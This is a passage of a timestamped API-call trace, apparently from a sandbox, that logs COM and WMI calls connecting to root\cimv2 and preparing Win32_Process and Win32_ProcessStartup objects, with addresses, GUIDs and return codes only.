This=0x1bc88e50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.425] WbemDefPath:IUnknown:Release (This=0x1bc88e50) returned 0x3 [0137.425] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0137.425] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0137.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0137.425] WbemDefPath:IUnknown:Release (This=0x1bc93c70) returned 0x2 [0137.425] WbemDefPath:IUnknown:Release (This=0x1bc93c70) returned 0x1 [0137.425] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0137.425] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0137.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc93c70) returned 0x0 [0137.426] WbemDefPath:IUnknown:AddRef (This=0x1bc93c70) returned 0x3 [0137.426] WbemDefPath:IUnknown:Release (This=0x1bc93c70) returned 0x2 [0137.426] WbemDefPath:IWbemPath:SetText (This=0x1bc93c70, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0137.426] IWbemClassObject:Get (in: This=0x1bc77040, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288dde0*=0, plFlavor=0x288dde4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288dde0*=19, plFlavor=0x288dde4*=0) returned 0x0 [0137.426] IWbemClassObject:Get (in: This=0x1bc77040, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288dde0*=19, plFlavor=0x288dde4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288dde0*=19, plFlavor=0x288dde4*=0) returned 0x0 [0137.426] IWbemClassObject:Put (This=0x1bc77040, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0137.426] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93a30, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0137.426] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.426] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0137.426] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.426] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0137.426] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0137.426] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0137.426] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.429] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc88ff0) returned 0x0 [0137.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88ff0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0137.429] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88ff0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc93d30) returned 0x0 [0137.429] WbemDefPath:IUnknown:Release (This=0x1bc88ff0) returned 0x0 [0137.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc93d30) returned 0x0 [0137.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0137.429] WbemDefPath:IUnknown:AddRef (This=0x1bc93d30) returned 0x3 [0137.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0137.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0137.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc89030) returned 0x0 [0137.430] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89030, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.430] WbemDefPath:IUnknown:Release (This=0x1bc89030) returned 0x3 [0137.430] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0137.430] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0137.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0137.430] WbemDefPath:IUnknown:Release (This=0x1bc93d30) returned 0x2 [0137.430] WbemDefPath:IUnknown:Release (This=0x1bc93d30) returned 0x1 [0137.430] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0137.430] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0137.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc93d30) returned 0x0 [0137.430] WbemDefPath:IUnknown:AddRef (This=0x1bc93d30) returned 0x3 [0137.430] WbemDefPath:IUnknown:Release (This=0x1bc93d30) returned 0x2 [0137.430] WbemDefPath:IWbemPath:SetText (This=0x1bc93d30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0137.430] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0137.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0137.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.430] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0137.430] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0137.431] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0137.431] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.431] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc89130) returned 0x0 [0137.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89130, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0137.432] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc89130, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc89150) returned 0x0 [0137.432] WbemLocator:IUnknown:Release (This=0x1bc89130) returned 0x0 [0137.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89150, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc89150) returned 0x0 [0137.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89150, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0137.432] WbemLocator:IUnknown:AddRef (This=0x1bc89150) returned 0x3 [0137.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89150, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0137.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89150, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0137.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89150, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0137.432] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0137.433] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0137.433] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89150, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0137.433] WbemLocator:IUnknown:Release (This=0x1bc89150) returned 0x2 [0137.433] WbemLocator:IUnknown:Release (This=0x1bc89150) returned 0x1 [0137.433] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0137.433] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0137.433] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89150, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc89150) returned 0x0 [0137.433] WbemLocator:IUnknown:AddRef (This=0x1bc89150) returned 0x3 [0137.433] WbemLocator:IUnknown:Release (This=0x1bc89150) returned 0x2 [0137.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0137.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0137.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.433] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc89170) returned 0x0 [0137.433] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc89170, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc96040) returned 0x0 [0137.505] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96040, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc42b60) returned 0x0 [0137.505] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42b60, pProxy=0x1bc96040, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0137.505] WbemLocator:IUnknown:Release (This=0x1bc42b60) returned 0x1 [0137.505] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96040, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc42ba0) returned 0x0 [0137.505] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96040, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc42b60) returned 0x0 [0137.505] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42b60, pProxy=0x1bc96040, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0137.506] WbemLocator:IUnknown:Release (This=0x1bc42b60) returned 0x2 [0137.506] WbemLocator:IUnknown:Release (This=0x1bc42ba0) returned 0x1 [0137.506] CoTaskMemFree (pv=0x1bc6def0) [0137.506] WbemLocator:IUnknown:AddRef (This=0x1bc96040) returned 0x2 [0137.506] WbemLocator:IUnknown:Release (This=0x1bc89170) returned 0x0 [0137.507] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0137.507] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0137.507] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96040, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc42b70) returned 0x0 [0137.507] WbemLocator:IRpcOptions:Query (in: This=0x1bc42b70, pPrx=0x1bc891d0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0137.507] WbemLocator:IUnknown:Release (This=0x1bc42b70) returned 0x2 [0137.507] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0137.507] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0137.507] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96040, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc96040) returned 0x0 [0137.507] WbemLocator:IUnknown:Release (This=0x1bc96040) returned 0x2 [0137.507] SysStringLen (param_1=0x0) returned 0x0 [0137.507] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0137.507] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0137.507] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.507] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93a30, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0137.508] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93a30, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0137.508] IWbemServices:GetObject (in: This=0x1bc96040, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc773b0, ppCallResult=0x0) returned 0x0 [0137.512] IWbemClassObject:Get (in: This=0x1bc773b0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0137.512] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0137.512] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0137.512] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0137.512] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0137.512] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0137.512] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.514] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc89170) returned 0x0 [0137.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89170, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0137.515] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89170, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc93df0) returned 0x0 [0137.515] WbemDefPath:IUnknown:Release (This=0x1bc89170) returned 0x0 [0137.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc93df0) returned 0x0 [0137.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0137.515] WbemDefPath:IUnknown:AddRef (This=0x1bc93df0) returned 0x3 [0137.515] 